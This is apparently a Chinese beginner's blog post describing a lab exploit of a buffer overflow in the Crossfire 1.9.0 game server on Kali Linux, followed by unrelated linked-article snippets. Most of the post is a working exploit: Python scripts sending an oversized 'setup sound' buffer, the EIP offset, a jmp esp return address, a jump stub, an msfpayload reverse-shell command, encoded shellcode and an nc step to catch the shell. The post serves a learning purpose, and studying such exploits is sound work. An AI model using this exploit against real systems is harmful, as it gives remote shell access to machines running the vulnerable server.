Linux系统下穿越火线-缓冲区溢出

原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。

工具:

调试工具:edb;

###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势

实验对象:crossfire【多人在线RPG游戏】

运行平台:Kali i686 虚拟机【32位,计算机CPU位数是指地址总线位数,64位系统的寻址空间为2^64,寻址过大,难以处理,为了简化本章操作,所以选用32位】

搭建实验环境

#linux中,游戏需安装带其game文件夹

服务器端程序

root@kali:~# cd \Desktop
root@kali:~/Desktop# ls
crossfire.tar.gz
root@kali:~/Desktop# mv crossfire.tar.gz /usr/games
root@kali:~/Desktop# cd /usr/games/
root@kali:/usr/games# ls
crossfire.tar.gz
root@kali:/usr/games# tar zxpf crossfire.tar.gz
root@kali:/usr/games# ls -lh
total 4.8M
drwxr-xr-x 8 root root 4.0K Feb 10 2010 crossfire
-rwxrwx--- 1 root root 4.8M Aug 30 05:16 crossfire.tar.gz
root@kali:/usr/games# cd crossfire/
root@kali:/usr/games/crossfire# cd bin/
root@kali:/usr/games/crossfire/bin# ls
crossedit crossfire-config crossloop.pl player_dl.pl
crossfire crossloop crossloop.web
root@kali:/usr/games/crossfire/bin#

#若出现缺少什么组件,可以相应去安装一下,只要看到出现waiting for connect,则基本没问题
查看端口开放情况【13327】

root@kali:~# netstat -pantu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:13327 0.0.0.0:* LISTEN 4147/./crossfire
udp 0 0 0.0.0.0:68 0.0.0.0:* 629/dhclient

调试工具


###也可用命令行来打开

新版本Linux内核支持内存保护机制

DEP、ASLR、堆栈cookies、堆栈粉碎

本机调试【防止在渗透测试过程中的非法网络访问,以防被黑客入侵电脑】

iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP #只有通过本机访问本地网卡的13327

iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP   #只有通过本机访问本地网卡4444

root@kali:~# iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP
root@kali:~# iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP
root@kali:~# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP tcp -- anywhere !localhost tcp dpt:13327
DROP tcp -- anywhere !localhost tcp dpt:4444 Chain FORWARD (policy ACCEPT)
target prot opt source destination Chain OUTPUT (policy ACCEPT)
target prot opt source destination
root@kali:~#

调试工具

使用edb调试工具启动服务进行调试

edb --run /usr/games/crossfire/bin/crossfire

#需要重复点击两个Debug->run

查看EIP等寄存器地址,需要双击

01.py

#!/usr/bin/python

import socket

host = "127.0.0.1"
crash = "\x41" * 4379 ###crossfire必须在发送数值大小在一个固定数值的时候才能发生缓冲区溢出,只有当发送4379字符时,才能精确到溢出位置###
buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,1327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

edb中一旦缓冲区溢出发生,无法进行下一条指令,会有告警弹窗


可确认存在缓冲区溢出漏洞

#通过修改发送“A”的数值,可验证只有当字符数量为4379才能精确修改EIP寄存器

唯一字符串精确定位EIP位置

/usr/share/metasploit-‐framework/tools/exploit/pattern_create.rb 4379

将唯一字符串添加到02.py

双击EIP

使用./pattren_offset.rb计算偏移量

则4368后四个字符为EIP地址

验证位置03.py

查看ESP数据部分Fellow in Dump

###因为ESP只能添7个字符才能精确修改EIP,所以shellcode不能放在ESP寄存器中。因此在剩下的寄存器中寻找

逐个查找,发现EAX可用

【因为setup sound为服务器指令,所以前十二个字符须先发送setup sound】

存在一个理论,直接在EAX的地址上加上12,可实现跳转,但是很大可能换一台机器后可能无法实现溢出,因为不同系统的EAX地址可能不一样

思路:【需考虑普适性】

第一阶段shellcode:从ESP【7个字节】 跳转到 EAX,在ESP中实现偏移12位字符

###一个5个字节,足够插进ESP中,实现跳转到EAX

\x83\xc0\x0c\xff\xe0\x90\x90      #\x90:跳转字符,防止被过滤【计算机读入数据顺序与人类阅读顺序相反】

04.py

查看ESP

#因为ESP的内存地址也不是固定的,所以需在系统中寻找固定跳转模块

寻址

利用edb中的插件Opcode search

使用第一个进程08048000,只要程序在运行,这个进程将一直存在,可以用于寻找jmp esp

###EIP->jmp ESP->ESP->EAX

查找坏字符

###\x00\x0a\x0d\x20

将256个编码放进脚本中逐一查找

设置断点(0x08134597)

EIP——08134597

则EIP跳转地址为

crash = "\x41" * 4368 + "\x97\x45\x13\x08"【EIP】 + "\x83\xc0\x0c\xff\xe0\x90\x90"【EAX】

04+.py

设置断点

->运行[F9]

按F8执行下一步

再按F8就跳入ESP寄存器

将4368个字符中,替换成shellcode,剩余位继续填充”A“【需计算shellcode字符数量】

生成shellcode姿势

root@kali:/usr/share/framework2# ./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "\x00\x0a\x0d\x20"

注:在生成shellcode时,如果生成的shellcode不正确,可通过重启,解决

#!/usr/bin/python

import socket

host = "127.0.0.1"

shellcode = (
"\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+
"\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+
"\x16\xb8\xb8\x9e\xeb\x15\x55\x23\x65\x78\x19\x45\xb8\xfa"+
"\x01\xd4\x10\x92\xb7\xe8\x85\x3e\xd2\xf8\xf4\xee\xab\x18"+
"\x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\xf9\xf5\xca\x58\x81"+
"\xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7"+
"\x08\x50\x6c\x07\x9a\xc8\x1a\x78\x3e\x61\xb5\x0f\x5d\x21"+
"\x1a\x99\x43\x71\x97\x54\x03") crash = shellcode + "A"*(4368-105) + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

#打开侦听4444端口【当有人连接4444的时候,则getshell】

nc  127.0.0.1 4444 ###获得shell

小白日记,未完待续……

小白日记18:kali渗透测试之缓冲区溢出实例(二)--Linux,穿越火线1.9.0的更多相关文章

  1. kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail

    kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail 相关链接:https://www.bbsmax.com/A/xl569l20Jr/ http://4hou.win/wordp ...

  2. 小白日记17:kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail

    缓冲区溢出实例 缓冲区溢出原理:http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html 空间存储了用户程序的函数栈帧 ...

  3. 小白日记22:kali渗透测试之提权(二)--抓包嗅探

    抓包嗅探 通过抓包嗅探目标机器的流量,发现账号密码. Windows系统 1.Wirehshark 2.Omnipeek 3.commview 4.Sniffpass 只会抓取识别传输密码的明文协议, ...

  4. 小白日记12:kali渗透测试之服务扫描(二)-SMB扫描

    SMB扫描 Server Message Block 协议.与其他标准的TCP/IP协议不同,SMB协议是一种复杂的协议,因为随着Windows计算机的开发,越来越多的功能被加入到协议中去了,很难区分 ...

  5. 小白日记15:kali渗透测试之弱点扫描-漏扫三招、漏洞管理、CVE、CVSS、NVD

    发现漏洞 弱点发现方法: 1.基于端口服务扫描结果版本信息,比对其是否为最新版本,若不是则去其 官网查看其补丁列表,然后去逐个尝试,但是此法弊端很大,因为各种端口应用比较多,造成耗时大. 2.搜索已公 ...

  6. 小白日记13:kali渗透测试之服务扫描(三)-SMTB扫描、防火墙识别、负载均衡识别、WAF识别

    SMTP扫描 SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议,它是一组用于由源地址到目的地址传送邮件的规则,由它来控制信件的中转方式.SMTP协议属于TCP/ ...

  7. 小白日记10:kali渗透测试之端口扫描-UDP、TCP、僵尸扫描、隐蔽扫描

    端口扫描 二三四层发现的目的只是为了准确发现所有活着主机IP,确定攻击面,端口扫描即发现攻击点,发现开放端口.端口对应网络服务及应用端程序,服务端程序的漏洞通过端口攻入.[所有的扫描结果,都不要完全相 ...

  8. 小白日记7:kali渗透测试之主动信息收集-发现(一)--二层发现:arping/shell脚本,Netdiscover,scapy

    主动信息收集 被动信息收集可能不准确,可以用主动信息收集验证   特点:直接与目标系统交互通信,无法避免留下访问痕迹 解决方法:1.使用受控的第三方电脑进行探测,使用代理 (做好被封杀的准备)   2 ...

  9. 小白日记8:kali渗透测试之主动信息收集(二)三层发现:ping、traceroute、scapy、nmap、fping、Hping

    三层发现 三层协议有:IP以及ICMP协议(internet管理协议).icmp的作用是用来实现intenet管理的,进行路径的发现,网路通信情况,或者目标主机的状态:在三层发现中主要使用icmp协议 ...

随机推荐

  1. BootStrap入门教程 (三) :可重用组件(按钮,导航,标签,徽章,排版,缩略图,提醒,进度条,杂项)

    上讲回顾:Bootstrap的基础CSS(Base CSS)提供了优雅,一致的多种基础Html页面要素,包括排版,表格,表单,按钮等,能够满足前端工程师的基本要素需求. Bootstrap作为完整的前 ...

  2. ACM1994

    /* Problem Description 为自行解决学费,chx勤工俭学收入10000元以1年定期存入银行,年利率为3.7% .利率按年计算,表示100元存1年的利息为3.7元.实际上有时提前有时 ...

  3. 内核源码分析之软中断(基于3.16-rc4)

    1.和软中断相关的数据结构: softing_vec数组(kernel/softirq.c) static struct softirq_action softirq_vec[NR_SOFTIRQS] ...

  4. TCL/Expect交互式自动化测试概要 - - ITeye技术网站

    TCL/Expect交互式自动化测试概要 - - ITeye技术网站 expect是一种基于TCL,能与交互式程序进行"可程序化"会话的脚本语言,是一种可以提供"分支和嵌 ...

  5. 扩展KMP题目

    hdu4333 /* 题意:字符串s[0..n-1],每次把最后一个字符放到前面,求形成的字符串比最初串分别小,相同,大于的个数 因为是为了练习扩展KMP所以肯定是扩展KMP, 为了循环方便,在后面复 ...

  6. substr函数

    substr(字符串,截取开始位置,截取长度) //返回截取的字 substr('Hello World',0,1) //返回结果为 'H'  *从字符串第一个字符开始截取长度为1的字符串 subst ...

  7. BZOJ 2243: [SDOI2011]染色 (树链剖分+线段树合并)

    题目链接:http://www.lydsy.com/JudgeOnline/problem.php?id=2243 树链剖分的点剖分+线段树.漏了一个小地方,调了一下午...... 还是要细心啊! 结 ...

  8. c++未指定返回值

    int foo() { } foo返回的是随机数 函数的返回值在函数堆栈的参数后面,由一个指向寄存器的指针决定,函数返回时,调用者取指针取寄存器中的值作为返回值. 如果指定返回值,函数在返回前会将返回 ...

  9. Epplus 使用的简单介绍

    操作Excel的主要有以下类库: MyXls(http://sourceforge.net/projects/myxls/) Koogra(http://sourceforge.net/project ...

  10. GMT 绘制台站分布图

    set ps=test.psset J=M4i set R=73/135.5/10/54rem gmt gmtset  FONT_ANNOT_PRIMARY 8p FONT_TITLE 8p  gmt ...